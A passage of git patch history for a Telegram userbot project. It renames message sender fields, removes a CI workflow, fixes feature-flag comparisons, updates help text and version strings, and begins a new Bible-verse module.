get_user_from_event(event): return user_obj, extra -async def get_user_from_id(user, event): +async def get_user_sender_id(user, event): if isinstance(user, str): user = int(user) diff --git a/fridaybot/modules/clone.py b/fridaybot/modules/clone.py index b77305a9..41b53f96 100644 --- a/fridaybot/modules/clone.py +++ b/fridaybot/modules/clone.py @@ -75,14 +75,14 @@ async def get_full_user(event): if previous_message.forward: replied_user = await event.client( GetFullUserRequest( - previous_message.forward.from_id + previous_message.forward.sender_id or previous_message.forward.channel_id ) ) return replied_user, None else: replied_user = await event.client( - GetFullUserRequest(previous_message.from_id) + GetFullUserRequest(previous_message.sender_id) ) return replied_user, None else: diff --git a/fridaybot/modules/delfp.py b/fridaybot/modules/delfp.py index 63c30f82..b4ba22eb 100644 --- a/fridaybot/modules/delfp.py +++ b/fridaybot/modules/delfp.py @@ -18,7 +18,7 @@ async def remove_profilepic(delpfp): lim = 1 pfplist = await delpfp.client( - GetUserPhotosRequest(user_id=delpfp.from_id, offset=0, max_id=0, limit=lim) + GetUserPhotosRequest(user_id=delpfp.sender_id, offset=0, max_id=0, limit=lim) ) input_photos = [] for sep in pfplist.photos: diff --git a/fridaybot/modules/echo.py b/fridaybot/modules/echo.py index bc942fe4..c395791a 100644 --- a/fridaybot/modules/echo.py +++ b/fridaybot/modules/echo.py @@ -37,7 +37,7 @@ async def echo(cat): return if cat.reply_to_msg_id is not None: reply_msg = await cat.get_reply_message() - user_id = reply_msg.from_id + user_id = reply_msg.sender_id chat_id = cat.chat_id try: hmm = pybase64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==") @@ -60,7 +60,7 @@ async def echo(cat): return if cat.reply_to_msg_id is not None: reply_msg = await cat.get_reply_message() - user_id = reply_msg.from_id + user_id = reply_msg.sender_id chat_id = cat.chat_id try: hmm = pybase64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==") diff --git a/fridaybot/modules/get_id.py b/fridaybot/modules/get_id.py index ec49a414..1c8670bf 100644 --- a/fridaybot/modules/get_id.py +++ b/fridaybot/modules/get_id.py @@ -19,13 +19,13 @@ async def _(event): bot_api_file_id = pack_bot_file_id(r_msg.media) await starkisgreat.edit( "Current Chat ID: `{}`\nFrom User ID: `{}`\nBot API File ID: `{}`".format( - str(event.chat_id), str(r_msg.from_id), bot_api_file_id + str(event.chat_id), str(r_msg.sender_id), bot_api_file_id ) ) else: await starkisgreat.edit( "Current Chat ID: `{}`\nFrom User ID: `{}`".format( - str(event.chat_id), str(r_msg.from_id) + str(event.chat_id), str(r_msg.sender_id) ) ) else: diff --git a/fridaybot/modules/gtools.py b/fridaybot/modules/gtools.py index 7e399516..3ef0699b 100644 --- a/fridaybot/modules/gtools.py +++ b/fridaybot/modules/gtools.py @@ -14,7 +14,7 @@ async def get_full_user(event): extra = None if event.reply_to_msg_id and not len(args) == 2: previous_message = await event.get_reply_message() - user_obj = await event.client.get_entity(previous_message.from_id) + user_obj = await event.client.get_entity(previous_message.sender_id) extra = event.pattern_match.group(1) elif len(args[0]) > 0: user = args[0] @@ -38,7 +38,7 @@ async def get_full_user(event): return user_obj, extra -async def get_user_from_id(user, event): +async def get_user_sender_id(user, event): if isinstance(user, str): user = int(user) try: diff --git a/fridaybot/modules/hack.py b/fridaybot/modules/hack.py index c460b125..6dbdb621 100644 --- a/fridaybot/modules/hack.py +++ b/fridaybot/modules/hack.py @@ -19,7 +19,7 @@ async def _(event): animation_ttl = range(0, 11) if event.reply_to_msg_id: reply_message = await event.get_reply_message() - replied_user = await event.client(GetFullUserRequest(reply_message.from_id)) + replied_user = await event.client(GetFullUserRequest(reply_message.sender_id)) replied_user.user.first_name replied_user.user.username useri_d = event.sender_id diff --git a/fridaybot/modules/locks.py b/fridaybot/modules/locks.py index 92b1072d..fd6e1aca 100644 --- a/fridaybot/modules/locks.py +++ b/fridaybot/modules/locks.py @@ -205,7 +205,7 @@ async def _(event): # bots are limited Telegram accounts, # and cannot join by themselves if event.user_added: - users_added_by = event.action_message.from_id + users_added_by = event.action_message.sender_id is_ban_able = False rights = types.ChatBannedRights(until_date=None, view_messages=True) added_users = event.action_message.action.users diff --git a/fridaybot/modules/memes.py b/fridaybot/modules/memes.py index 7cb4234e..a6581429 100644 --- a/fridaybot/modules/memes.py +++ b/fridaybot/modules/memes.py @@ -738,7 +738,7 @@ async def get_user(event): """ Get the user from argument or replied message. """ if event.reply_to_msg_id: previous_message = await event.get_reply_message() - replied_user = await event.client(GetFullUserRequest(previous_message.from_id)) + replied_user = await event.client(GetFullUserRequest(previous_message.sender_id)) else: user = event.pattern_match.group(1) diff --git a/fridaybot/modules/mention b/fridaybot/modules/mention index 1ede88c4..f8854548 100644 --- a/fridaybot/modules/mention +++ b/fridaybot/modules/mention @@ -13,9 +13,9 @@ async def _(event): if event.reply_to_msg_id: previous_message = await event.get_reply_message() if previous_message.forward: - replied_user = previous_message.forward.from_id + replied_user = previous_message.forward.sender_id else: - replied_user = previous_message.from_id + replied_user = previous_message.sender_id else: await event.edit("reply To Message") user_id = replied_user diff --git a/fridaybot/modules/mention.py b/fridaybot/modules/mention.py index a6796772..23cec2d3 100644 --- a/fridaybot/modules/mention.py +++ b/fridaybot/modules/mention.py @@ -12,9 +12,9 @@ async def _(event): if event.reply_to_msg_id: previous_message = await event.get_reply_message() if previous_message.forward: - replied_user = previous_message.forward.from_id + replied_user = previous_message.forward.sender_id else: - replied_user = previous_message.from_id + replied_user = previous_message.sender_id else: await event.edit("reply To Message") user_id = replied_user diff --git a/fridaybot/modules/ninja.py b/fridaybot/modules/ninja.py index 17426c3f..69dadff2 100644 --- a/fridaybot/modules/ninja.py +++ b/fridaybot/modules/ninja.py @@ -10,7 +10,7 @@ async def get_target_message(event): - if event.is_reply and (await event.get_reply_message()).from_id == borg.uid: + if event.is_reply and (await event.get_reply_message()).sender_id == borg.uid: return await event.get_reply_message() async for message in borg.iter_messages(await event.get_input_chat(), limit=20): if message.out: diff --git a/fridaybot/modules/slap.py b/fridaybot/modules/slap.py index 5c67d8b8..1f97d671 100644 --- a/fridaybot/modules/slap.py +++ b/fridaybot/modules/slap.py @@ -97,7 +97,7 @@ async def who(event): async def get_user(event): if event.reply_to_msg_id: previous_message = await event.get_reply_message() - replied_user = await event.client(GetFullUserRequest(previous_message.from_id)) + replied_user = await event.client(GetFullUserRequest(previous_message.sender_id)) else: user = event.pattern_match.group(1) diff --git a/fridaybot/modules/stickerchat.py b/fridaybot/modules/stickerchat.py index 9304269a..9bf72f96 100644 --- a/fridaybot/modules/stickerchat.py +++ b/fridaybot/modules/stickerchat.py @@ -86,14 +86,14 @@ async def quotecmd(message): # noqa: C901 return await message.respond(strings["no_template"]) username_color = username = admintitle = user_id = None - profile_photo_url = reply.from_id + profile_photo_url = reply.sender_id admintitle = "" if isinstance(message.to_id, telethon.tl.types.PeerChannel): try: user = await client( telethon.tl.functions.channels.GetParticipantRequest( - message.chat_id, reply.from_id + message.chat_id, reply.sender_id ) ) if isinstance( @@ -113,7 +113,7 @@ async def quotecmd(message): # noqa: C901 ) participants = chat.full_chat.participants.participants participant = next( - filter(lambda x: x.user_id == reply.from_id, participants), None + filter(lambda x: x.user_id == reply.sender_id, participants), None ) if isinstance(participant, telethon.tl.types.ChatParticipantCreator): admintitle = strings["creator"] @@ -124,7 +124,7 @@ async def quotecmd(message): # noqa: C901 user = await reply.get_sender() username = telethon.utils.get_display_name(user) - user_id = reply.from_id + user_id = reply.sender_id if reply.fwd_from: if reply.fwd_from.saved_from_peer: diff --git a/fridaybot/modules/telegraph.py b/fridaybot/modules/telegraph.py index baa6c830..67c2b072 100644 --- a/fridaybot/modules/telegraph.py +++ b/fridaybot/modules/telegraph.py @@ -68,7 +68,7 @@ async def _(event): link_preview=True, ) elif input_str == "text": - user_object = await borg.get_entity(r_message.from_id) + user_object = await borg.get_entity(r_message.sender_id) title_of_page = user_object.first_name # + " " + user_object.last_name # apparently, all Users do not have last_name field if optional_title: diff --git a/fridaybot/modules/userinfo.py b/fridaybot/modules/userinfo.py index bfb89339..5d3347ba 100644 --- a/fridaybot/modules/userinfo.py +++ b/fridaybot/modules/userinfo.py @@ -66,7 +66,7 @@ def extract_urls(message): return list(matches) -async def get_user_from_id(user, event): +async def get_user_sender_id(user, event): if isinstance(user, str): user = int(user) @@ -117,7 +117,7 @@ async def get_user_from_event(event: NewMessage.Event, **kwargs): # Check for a replied to message elif event.reply_to_msg_id: previous_message = await event.get_reply_message() - replied_user = await event.client(GetFullUserRequest(previous_message.from_id)) + replied_user = await event.client(GetFullUserRequest(previous_message.sender_id)) # Last case scenario is to get the current user else: diff --git a/fridaybot/modules/warns.py b/fridaybot/modules/warns.py index d9561ec1..ca1e7ebc 100644 --- a/fridaybot/modules/warns.py +++ b/fridaybot/modules/warns.py @@ -127,7 +127,7 @@ async def get_user_from_event(event): extra = None if event.reply_to_msg_id: previous_message = await event.get_reply_message() - user_obj = await event.client.get_entity(previous_message.from_id) + user_obj = await event.client.get_entity(previous_message.sender_id) extra = event.pattern_match.group(1) elif args: user = args[0] @@ -157,7 +157,7 @@ async def get_user_from_event(event): return user_obj, extra -async def get_user_from_id(user, event): +async def get_user_sender_id(user, event): if isinstance(user, str): user = int(user) diff --git a/fridaybot/modules/whois.py b/fridaybot/modules/whois.py index 6f4b7323..e7c6be3b 100644 --- a/fridaybot/modules/whois.py +++ b/fridaybot/modules/whois.py @@ -98,12 +98,12 @@ async def get_full_user(event): if previous_message.forward: replied_user = await event.client( GetFullUserRequest( - previous_message.forward.from_id + previous_message.forward.sender_id or previous_message.forward.channel_id ) ) return replied_user, None - replied_user = await event.client(GetFullUserRequest(previous_message.from_id)) + replied_user = await event.client(GetFullUserRequest(previous_message.sender_id)) return replied_user, None if event.is_private: try: @@ -152,7 +152,7 @@ async def get_user(event): """ Get the user from argument or replied message. """ if event.reply_to_msg_id and not event.pattern_match.group(1): previous_message = await event.get_reply_message() - replied_user = await event.client(GetFullUserRequest(previous_message.from_id)) + replied_user = await event.client(GetFullUserRequest(previous_message.sender_id)) else: user = event.pattern_match.group(1) if user.isnumeric(): @@ -250,7 +250,7 @@ async def get_user_from_event(event): extra = None if event.reply_to_msg_id and not len(args) == 2: previous_message = await event.get_reply_message() - user_obj = await event.client.get_entity(previous_message.from_id) + user_obj = await event.client.get_entity(previous_message.sender_id) extra = event.pattern_match.group(1) elif len(args[0]) > 0: user = args[0] From 597f90a8634e97b1d892a15998839bdc116c1758 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Tue, 19 Jan 2021 18:23:28 +0530 Subject: [PATCH 650/838] ok ok done that --- .github/workflows/sed.yml | 21 --------------------- 1 file changed, 21 deletions(-) delete mode 100644 .github/workflows/sed.yml diff --git a/.github/workflows/sed.yml b/.github/workflows/sed.yml deleted file mode 100644 index 5554ec56..00000000 --- a/.github/workflows/sed.yml +++ /dev/null @@ -1,21 +0,0 @@ -name: Sed-replacer -on: push -jobs: - build: - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@v2 - - name: Find and Replace - uses: jacobtomlinson/gha-find-replace@master - with: - find: "from_id" - replace: "sender_id" - - name: Pull All Updates - uses: stefanzweifel/git-auto-commit-action@v4 - with: - commit_message: 'SeD Replacer' - commit_options: '--no-verify' - repository: . - commit_user_name: InukaAsith - commit_user_email: inukaasith7@gmail.com - commit_author: inukaasith From fe23a15946caabcce375c86cfddc50c04a22ef33 Mon Sep 17 00:00:00 2001 From: InukaAsith Date: Tue, 19 Jan 2021 12:55:56 +0000 Subject: [PATCH 651/838] pylint: auto fixes --- fridaybot/modules/memes.py | 4 +++- fridaybot/modules/slap.py | 4 +++- fridaybot/modules/userinfo.py | 4 +++- fridaybot/modules/whois.py | 8 ++++++-- 4 files changed, 15 insertions(+), 5 deletions(-) diff --git a/fridaybot/modules/memes.py b/fridaybot/modules/memes.py index a6581429..0ba5f5e9 100644 --- a/fridaybot/modules/memes.py +++ b/fridaybot/modules/memes.py @@ -738,7 +738,9 @@ async def get_user(event): """ Get the user from argument or replied message. """ if event.reply_to_msg_id: previous_message = await event.get_reply_message() - replied_user = await event.client(GetFullUserRequest(previous_message.sender_id)) + replied_user = await event.client( + GetFullUserRequest(previous_message.sender_id) + ) else: user = event.pattern_match.group(1) diff --git a/fridaybot/modules/slap.py b/fridaybot/modules/slap.py index 1f97d671..e4622b7a 100644 --- a/fridaybot/modules/slap.py +++ b/fridaybot/modules/slap.py @@ -97,7 +97,9 @@ async def who(event): async def get_user(event): if event.reply_to_msg_id: previous_message = await event.get_reply_message() - replied_user = await event.client(GetFullUserRequest(previous_message.sender_id)) + replied_user = await event.client( + GetFullUserRequest(previous_message.sender_id) + ) else: user = event.pattern_match.group(1) diff --git a/fridaybot/modules/userinfo.py b/fridaybot/modules/userinfo.py index 5d3347ba..d8a993b6 100644 --- a/fridaybot/modules/userinfo.py +++ b/fridaybot/modules/userinfo.py @@ -117,7 +117,9 @@ async def get_user_from_event(event: NewMessage.Event, **kwargs): # Check for a replied to message elif event.reply_to_msg_id: previous_message = await event.get_reply_message() - replied_user = await event.client(GetFullUserRequest(previous_message.sender_id)) + replied_user = await event.client( + GetFullUserRequest(previous_message.sender_id) + ) # Last case scenario is to get the current user else: diff --git a/fridaybot/modules/whois.py b/fridaybot/modules/whois.py index e7c6be3b..1f4d6746 100644 --- a/fridaybot/modules/whois.py +++ b/fridaybot/modules/whois.py @@ -103,7 +103,9 @@ async def get_full_user(event): ) ) return replied_user, None - replied_user = await event.client(GetFullUserRequest(previous_message.sender_id)) + replied_user = await event.client( + GetFullUserRequest(previous_message.sender_id) + ) return replied_user, None if event.is_private: try: @@ -152,7 +154,9 @@ async def get_user(event): """ Get the user from argument or replied message. """ if event.reply_to_msg_id and not event.pattern_match.group(1): previous_message = await event.get_reply_message() - replied_user = await event.client(GetFullUserRequest(previous_message.sender_id)) + replied_user = await event.client( + GetFullUserRequest(previous_message.sender_id) + ) else: user = event.pattern_match.group(1) if user.isnumeric(): From 1cb83eef819caa1bf3d12c3699b39fdf3418c2d1 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Tue, 19 Jan 2021 18:32:39 +0530 Subject: [PATCH 652/838] An INFINITY_BOTS Project --- fridaybot/function/__init__.py | 14 ++++++++++++++ 1 file changed, 14 insertions(+) diff --git a/fridaybot/function/__init__.py b/fridaybot/function/__init__.py index 92758b0b..dafad48e 100644 --- a/fridaybot/function/__init__.py +++ b/fridaybot/function/__init__.py @@ -236,6 +236,20 @@ async def take_screen_shot( async def fetch_feds(event, borg): fedList = [] await event.edit("`Fetching Your FeD List`, This May Take A While.") + reply_s = await event.get_reply_message() + if reply_s and reply_s.media: + downloaded_file_name = await borg.download_media(reply_s.media, "fedlist.txt") + await asyncio.sleep(1) + file = open(downloaded_file_name, "r") + lines = file.readlines() + for line in lines: + try: + fedList.append(line[:36]) + except: + pass + # CleanUp + os.remove(downloaded_file_name) + return fedList async with borg.conversation("@MissRose_bot") as bot_conv: await bot_conv.send_message("/start") await bot_conv.send_message("/myfeds") From 539eccbb34131a91dbd164d01e82fd7e9883d999 Mon Sep 17 00:00:00 2001 From: InukaAsith Date: Tue, 19 Jan 2021 13:03:33 +0000 Subject: [PATCH 653/838] pylint: auto fixes --- fridaybot/function/__init__.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/function/__init__.py b/fridaybot/function/__init__.py index dafad48e..b617a833 100644 --- a/fridaybot/function/__init__.py +++ b/fridaybot/function/__init__.py @@ -249,7 +249,7 @@ async def fetch_feds(event, borg): pass # CleanUp os.remove(downloaded_file_name) - return fedList + return fedList async with borg.conversation("@MissRose_bot") as bot_conv: await bot_conv.send_message("/start") await bot_conv.send_message("/myfeds") From 65b88c4ad580bf0eaa2861ff89b42c2e090a86e1 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Tue, 19 Jan 2021 18:34:07 +0530 Subject: [PATCH 654/838] Update filters.py --- fridaybot/modules/filters.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/fridaybot/modules/filters.py b/fridaybot/modules/filters.py index 72afcd2e..66a0e5f1 100644 --- a/fridaybot/modules/filters.py +++ b/fridaybot/modules/filters.py @@ -145,9 +145,9 @@ async def on_snip_delete(event): @friday.on(friday_on_cmd(pattern="rmfilters$")) @friday.on(sudo_cmd(pattern="rmfilters$", allow_sudo=True)) async def on_all_snip_delete(event): - await edit_or_reply(event, "Processing....") + edit_or_reply(event, "Processing....") remove_all_filters(event.chat_id) - await sadness.edit(f"filters **in current chat** deleted successfully") + await event.edit(f"filters **in current chat** deleted successfully") CMD_HELP.update( From 82f9953bde03b46efd0e1661d61b5cd4e2f92e85 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Tue, 19 Jan 2021 18:34:30 +0530 Subject: [PATCH 655/838] Update __init__.py --- fridaybot/modules/__init__.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/__init__.py b/fridaybot/modules/__init__.py index f859bb12..00f08458 100644 --- a/fridaybot/modules/__init__.py +++ b/fridaybot/modules/__init__.py @@ -13,7 +13,7 @@ wttrapi = Config.OPEN_WEATHER_MAP_APPID rmbg = Config.REM_BG_API_KEY hmmok = Config.LYDIA_API -currentversion = "3.0" +currentversion = "3.1" if issudousing: amiusingsudo = "Active ✅" else: From f302e621a9a220743341ade93d980a0850ef4a95 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Tue, 19 Jan 2021 18:38:08 +0530 Subject: [PATCH 656/838] An INFINITY_BOTS Project --- fridaybot/modules/WhatsNew.py | 26 ++++++++------------------ 1 file changed, 8 insertions(+), 18 deletions(-) diff --git a/fridaybot/modules/WhatsNew.py b/fridaybot/modules/WhatsNew.py index 3f53f8bf..d1e16425 100644 --- a/fridaybot/modules/WhatsNew.py +++ b/fridaybot/modules/WhatsNew.py @@ -2,34 +2,24 @@ CMD_HELP.update( { - "Whats New": """**Update 3.0 :** VirtualUserbot New features - Brings You the Most Stable Reliese ever. + "Whats New": """**Mini Update 3.1 :** VirtualUserbot New features + Fixed the Errors. - ** Pro Mode ** - You'll see some plugins labled as PRO from now on - For your protection we limited some adult plugins only to pro's - `.set var pro True` => To Be a Pro (It is Free.. Not resposible for Bans) + ** Errors and Bug Fixes ** + No errors anymore.. All logging features running now ** Custom Emoji on Help ** `.set var EMOJI_TO_DISPLAY_IN_HELP ` - - ** New features as Exclusive Module ** - See yourself on help as `exclusive` - + ** Stickers Improovements ** Kang any Media - - ** Config Funs ** - See by yourself in Sinhala_Jokes - + ** New qbot ** `.qbot` to create quotes - ** 7z Archiver ** - see by Yourself in archiver - ** Plus More ** - New `.mspam` mode (PRO), More ImageTools , Less Spammy now + PM Protection done right. Translation also done right + ** Many Bug Fixes ** """ } From 47d578ea565cc316c325bd24d7ff7f1de530ff8e Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Tue, 19 Jan 2021 18:39:07 +0530 Subject: [PATCH 657/838] Project by INFINITY_BOTS --- AN INFINITY_BOTS PROJECT | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/AN INFINITY_BOTS PROJECT b/AN INFINITY_BOTS PROJECT index 8b137891..bb65f837 100644 --- a/AN INFINITY_BOTS PROJECT +++ b/AN INFINITY_BOTS PROJECT @@ -1 +1 @@ - +t.me/Infinity_bots From 23d24929a9cd3d0cffe322d5890327d701d3428c Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Tue, 19 Jan 2021 18:56:28 +0530 Subject: [PATCH 658/838] typo --- fridaybot/modules/mspam.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/mspam.py b/fridaybot/modules/mspam.py index 6e39e31f..2ca05b95 100644 --- a/fridaybot/modules/mspam.py +++ b/fridaybot/modules/mspam.py @@ -4,7 +4,7 @@ from ..utils import admin_cmd -if pro == True: +if pro == "True": @bot.on(admin_cmd(pattern="mspam (.*)")) async def tiny_pic_spam(e): From 20beff508e224f778f67bf45e6643f78c334f5fa Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Tue, 19 Jan 2021 18:59:16 +0530 Subject: [PATCH 659/838] Typo --- fridaybot/modules/adultzone.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/adultzone.py b/fridaybot/modules/adultzone.py index d9a2ade0..a93bfaf8 100644 --- a/fridaybot/modules/adultzone.py +++ b/fridaybot/modules/adultzone.py @@ -12,7 +12,7 @@ from ..utils import admin_cmd, sudo_cmd -if pro == True: +if pro == "True": @bot.on(admin_cmd("boobs$")) @bot.on(sudo_cmd(pattern="boobs$", allow_sudo=True)) From 623a5cc334f171cf30136dab62cd1759bde24470 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Tue, 19 Jan 2021 19:00:16 +0530 Subject: [PATCH 660/838] Update nsfw.py --- fridaybot/modules/nsfw.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/nsfw.py b/fridaybot/modules/nsfw.py index 914a9b41..a5ef7673 100644 --- a/fridaybot/modules/nsfw.py +++ b/fridaybot/modules/nsfw.py @@ -20,7 +20,7 @@ from fridaybot import CMD_HELP, pro from fridaybot.utils import admin_cmd, friday_on_cmd, sudo_cmd -if pro == True: +if pro == "True": @friday.on(friday_on_cmd(pattern=r"nsfw")) @friday.on(sudo_cmd(pattern=r"nsfw", allow_sudo=True)) From dc1d90102cac9e7ab95b7863fe3b7e9cfc6700f6 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Tue, 19 Jan 2021 19:01:29 +0530 Subject: [PATCH 661/838] typo --- fridaybot/modules/torrentsearch.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/torrentsearch.py b/fridaybot/modules/torrentsearch.py index 3ef7902a..248d670b 100644 --- a/fridaybot/modules/torrentsearch.py +++ b/fridaybot/modules/torrentsearch.py @@ -14,7 +14,7 @@ from ..utils import admin_cmd, humanbytes -if pro == True: +if pro == "True": def dogbin(magnets): counter = 0 From 36cce29d44ece8306c9cc3637f66ef629c13bfbc Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Tue, 19 Jan 2021 19:12:20 +0530 Subject: [PATCH 662/838] Typo --- fridaybot/modules/torrentz.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/torrentz.py b/fridaybot/modules/torrentz.py index 6be0c404..bb355a78 100644 --- a/fridaybot/modules/torrentz.py +++ b/fridaybot/modules/torrentz.py @@ -10,7 +10,7 @@ from ..utils import admin_cmd, humanbytes -if pro == True: +if pro == "True": @borg.on( admin_cmd(pattern="movie (torrentz2\.eu|idop\.se) (.*)") # pylint:disable=E0602 From 967b2c56f9b3a1bc9f4be7a70c23e907f1594abc Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Tue, 19 Jan 2021 19:14:04 +0530 Subject: [PATCH 663/838] Typo --- fridaybot/modules/privatewelcome.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/privatewelcome.py b/fridaybot/modules/privatewelcome.py index c0b121be..abb891c3 100644 --- a/fridaybot/modules/privatewelcome.py +++ b/fridaybot/modules/privatewelcome.py @@ -10,7 +10,7 @@ rmwelcome_setting, ) -if pro == True: +if pro == "True": @bot.on(events.ChatAction) async def _(event): From 338eab0f6b8f61941f0dbd69671079c4b68c36dc Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Tue, 19 Jan 2021 19:16:13 +0530 Subject: [PATCH 664/838] Typo --- fridaybot/modules/xnxx.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/xnxx.py b/fridaybot/modules/xnxx.py index 3678bfa3..ecd8f1f1 100644 --- a/fridaybot/modules/xnxx.py +++ b/fridaybot/modules/xnxx.py @@ -10,7 +10,7 @@ from ..utils import admin_cmd -if pro == True: +if pro == "True": @borg.on(admin_cmd(pattern="xnxx?(.*)")) async def _(event): From 60ad3f7081b697788899e101151b4efcbf71f93a Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Tue, 19 Jan 2021 22:59:36 +0530 Subject: [PATCH 665/838] Update mtn.py --- fridaybot/modules/mtn.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/mtn.py b/fridaybot/modules/mtn.py index 60bf70e7..046d97f4 100644 --- a/fridaybot/modules/mtn.py +++ b/fridaybot/modules/mtn.py @@ -91,7 +91,7 @@ async def _(event): CMD_HELP.update( { - "Netboost": "**Dialog and Mobitel**\ + "netboost": "**Dialog and Mobitel**\ \n\n**Syntax : **`.Dialog ` ,`.Mobitel`\ \n**Usage :** Funny prank plugin." } From 8fed8ae131fd941c2fe59ba0f4ba7a49bb2b7b6d Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Tue, 19 Jan 2021 23:01:56 +0530 Subject: [PATCH 666/838] Hnm --- fridaybot/modules/classictranslate.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/classictranslate.py b/fridaybot/modules/classictranslate.py index 78adb926..82fffe5d 100644 --- a/fridaybot/modules/classictranslate.py +++ b/fridaybot/modules/classictranslate.py @@ -47,7 +47,7 @@ async def _(event): CMD_HELP.update( { - "Classic translate": ".tl " + "classic translate": ".tl " "\nUsage: reply any msg with .tr (language code) example .tr en / .tr hi\n\n" ".tl | " "\nUsage: translate text example .tr en|msg (note:- this | mark is important.\n\n" From ab694aa1697b05f82ba92c8b5a7b26c892c6dba9 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Tue, 19 Jan 2021 23:04:28 +0530 Subject: [PATCH 667/838] Hmm --- fridaybot/modules/gps2.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/gps2.py b/fridaybot/modules/gps2.py index 67ae0133..a89e60e7 100644 --- a/fridaybot/modules/gps2.py +++ b/fridaybot/modules/gps2.py @@ -78,7 +78,7 @@ async def nope(doit): CMD_HELP.update( { - "Location finder": "__**PLUGIN NAME :** gps__\ + "location finder": "__**PLUGIN NAME :** gps__\ \n\n📌** CMD ★** `.locate `\ \n**USAGE ★ **Finds your desired location using geopy...\ \n\n📌** CMD ★** `.map `\ From 9e938908598b1452342288b78935afbcf7b1d68a Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Tue, 19 Jan 2021 23:05:19 +0530 Subject: [PATCH 668/838] Ok --- fridaybot/modules/exclusive.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/exclusive.py b/fridaybot/modules/exclusive.py index 558305ae..1e554b55 100644 --- a/fridaybot/modules/exclusive.py +++ b/fridaybot/modules/exclusive.py @@ -83,7 +83,7 @@ async def _(event): CMD_HELP.update( { - "Exclusive": "**Exclusive**\ + "exclusive": "**Exclusive**\ \n**Syntax : **`.purl`\ \n**Usage :** Get Public link of any file**\ \n\n**Syntax : **`.reader`\ From 54a1702321fad051b08d3722605bba360ca90471 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Thu, 21 Jan 2021 13:22:45 +0530 Subject: [PATCH 669/838] Fix --- fridaybot/modules/_inlinebot.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/fridaybot/modules/_inlinebot.py b/fridaybot/modules/_inlinebot.py index 75784f80..8c48de98 100644 --- a/fridaybot/modules/_inlinebot.py +++ b/fridaybot/modules/_inlinebot.py @@ -4,12 +4,12 @@ from math import ceil from re import findall from urllib.parse import quote - +from youtube_search import YoutubeSearch import requests from pornhub_api import PornhubApi from search_engine_parser import GoogleSearch from telethon import Button, custom, events, functions - +from youtubesearchpython import VideosSearch from fridaybot import ALIVE_NAME, CMD_HELP, CMD_LIST, lang from fridaybot.function import _ytdl from fridaybot.modules import inlinestats From a2c2cc2520460aa100664b6f38511e3737f2f909 Mon Sep 17 00:00:00 2001 From: InukaAsith Date: Thu, 21 Jan 2021 07:53:35 +0000 Subject: [PATCH 670/838] pylint: auto fixes --- fridaybot/modules/_inlinebot.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/fridaybot/modules/_inlinebot.py b/fridaybot/modules/_inlinebot.py index 8c48de98..864b7d98 100644 --- a/fridaybot/modules/_inlinebot.py +++ b/fridaybot/modules/_inlinebot.py @@ -4,12 +4,13 @@ from math import ceil from re import findall from urllib.parse import quote -from youtube_search import YoutubeSearch + import requests from pornhub_api import PornhubApi from search_engine_parser import GoogleSearch from telethon import Button, custom, events, functions -from youtubesearchpython import VideosSearch +from youtube_search import YoutubeSearch + from fridaybot import ALIVE_NAME, CMD_HELP, CMD_LIST, lang from fridaybot.function import _ytdl from fridaybot.modules import inlinestats From a4f7f845008c183d33cfd6f4e7034bd45cf5bbf8 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Thu, 21 Jan 2021 13:28:16 +0530 Subject: [PATCH 671/838] New Module --- fridaybot/modules/bible.py | 79 ++++++++++++++++++++++++++++++++++++++ 1 file changed, 79 insertions(+) create mode 100644 fridaybot/modules/bible.py diff --git a/fridaybot/modules/bible.py b/fridaybot/modules/bible.py new file mode 100644 index 00000000..e55bf5d4 --- /dev/null +++ b/fridaybot/modules/bible.py @@ -0,0 +1,79 @@ +from telethon import events +from telethon.errors.rpcerrorlist import YouBlockedUserError + +from fridaybot import CMD_HELP +from fridaybot.utils import edit_or_reply, sudo_cmd, admin_cmd + +import json +from fridaybot import CMD_HELP +import requests + +@friday.on(admin_cmd(pattern="bible (.*)")) +async def _(event): + if event.fwd_from: + return + input_str = event.pattern_match.group(1) + if input_str is 